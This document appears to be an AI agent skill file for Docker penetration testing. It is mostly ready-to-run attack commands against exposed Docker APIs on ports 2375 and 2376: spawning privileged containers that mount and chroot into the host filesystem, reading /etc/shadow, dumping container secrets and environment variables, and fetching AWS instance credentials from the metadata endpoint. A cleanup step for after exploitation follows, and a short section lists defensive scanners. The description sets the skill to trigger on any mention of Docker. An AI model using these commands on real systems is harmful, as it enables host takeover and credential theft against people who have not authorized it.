| name | docker-pentesting |
| description | Docker security assessment and exploitation. Use this skill whenever the user needs to enumerate Docker services, exploit misconfigured Docker APIs (ports 2375/2376), escape containers, discover secrets in running containers, or perform privilege escalation via Docker. Trigger on mentions of Docker, containerization, container escape, Docker API, port 2375, port 2376, container security, or any Docker-related security testing. |
Docker Pentesting Skill
A comprehensive skill for Docker security assessments, including enumeration, exploitation, container escape, and secret discovery.
When to Use This Skill
Use this skill when:
- You need to enumerate a Docker service (especially on ports 2375/2376)
- You want to exploit an unauthenticated Docker API
- You need to escape from a Docker container to the host
- You're looking for secrets in running containers
- You need to perform privilege escalation via Docker
- You're assessing Docker security configurations
Quick Reference
Default Ports
- 2375/tcp: Docker Remote API (unencrypted, no auth by default)
- 2376/tcp: Docker Remote API (TLS encrypted)
Fast Privilege Escalation
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Enumeration
Check if Docker API is Accessible
First, determine if you can reach the Docker API:
curl -s http://<target>:2375/version | jq
docker -H tcp://<target>:2375 version
export DOCKER_HOST="tcp://<target>:2375"
docker version
Enumerate Running Containers
docker -H tcp://<target>:2375 ps -a
curl -s --insecure https://<target>:2376/containers/json | jq
Inspect Container Details
docker -H tcp://<target>:2375 inspect <container_id>
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/<container_id>/exec \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","mount"]}'
List Images
docker -H tcp://<target>:2375 images
ctr images list
Exploitation
Container Escape via Privileged Container
If you can create containers, spawn a privileged one with host filesystem mounted:
docker -H tcp://<target>:2375 run --rm -it --privileged -v /:/host alpine chroot /host /bin/bash
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/create?name=escape \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host /bin/bash"],"Binds":["/:/host"],"Privileged":true}'
curl -s --insecure -X POST https://<target>:2376/containers/escape/start
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/escape/exec \
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"]}'
Read Sensitive Files
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/etc/shadow
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/<path/to/file>
Extract Secrets from Running Containers
docker -H tcp://<target>:2375 ps | grep <service_name>
docker -H tcp://<target>:2375 inspect <container_id> | jq '.[0].Config.Env'
docker -H tcp://<target>:2375 cp <container_id>:/etc/<secret_file> ./
docker -H tcp://<target>:2375 exec -it <container_id> env
docker -H tcp://<target>:2375 exec -it <container_id> cat /run/secrets/*
AWS Metadata Access (if container has network access)
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/<container_id>/exec \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/exec/<exec_id>/start -d '{}'
Containerd Exploitation
If containerd is accessible directly:
ctr images pull --skip-verify --plain-http <registry>:5000/alpine:latest
ctr container create <image> <container_name>
ctr task start <container_name>
ctr tasks attach <container_name>
ctr container list
ctr task list
ctr task kill -s SIGKILL <container_name>
ctr container delete <container_name>
Podman Considerations
Podman is compatible with Docker CLI but has key differences:
podman --version
podman info
podman images ls
podman ps
Security Assessment Tools
Docker Security Benchmarks
git clone https://github.com/docker/docker-bench-security
cd docker-bench-security
./docker-bench-security.sh
dockscan -v unix:///var/run/docker.sock
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
Dockerfile Linting
docker run --rm -i hadolint/hadolint < Dockerfile
dockerfilelinter -f Dockerfile
dockerfilelint Dockerfile
Image Vulnerability Scanning
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://<clair_ip>:6060 --ip <target_ip> <image_name>
Runtime Monitoring
docker run -it --privileged \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /dev:/host/dev \
-v /proc:/host/proc:ro \
-v /boot:/host/boot:ro \
-v /lib/modules:/host/lib/modules:ro \
-v /usr:/host/usr:ro \
falcosecurity/falco
Common Attack Patterns
Pattern 1: Unauthenticated Docker API
Scenario: Port 2375 is open with no authentication
Exploitation:
export DOCKER_HOST="tcp://<target>:2375"
docker run -it -v /:/host ubuntu:latest chroot /host/ bash
Pattern 2: TLS Docker API with Weak Certificates
Scenario: Port 2376 is open with self-signed or weak certificates
Exploitation:
curl -s --insecure https://<target>:2376/containers/json | jq
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/create?name=pwned \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'
Pattern 3: Container with Host Mounts
Scenario: Container already has host filesystem mounted
Exploitation:
docker exec -it <container_id> mount | grep /host
cd /host
chroot /bin/bash
Pattern 4: Secrets in Environment Variables
Scenario: Container has sensitive data in environment variables
Exploitation:
docker exec -it <container_id> env
docker exec -it <container_id> env | grep -iE '(password|secret|key|token|api_key|aws)'
docker inspect <container_id> | jq '.[0].Config.Env'
Cleanup
After exploitation, clean up created containers:
docker -H tcp://<target>:2375 stop <container_id>
docker -H tcp://<target>:2375 rm <container_id>
docker -H tcp://<target>:2375 container prune
curl -s --insecure -X POST https://<target>:2376/containers/prune
References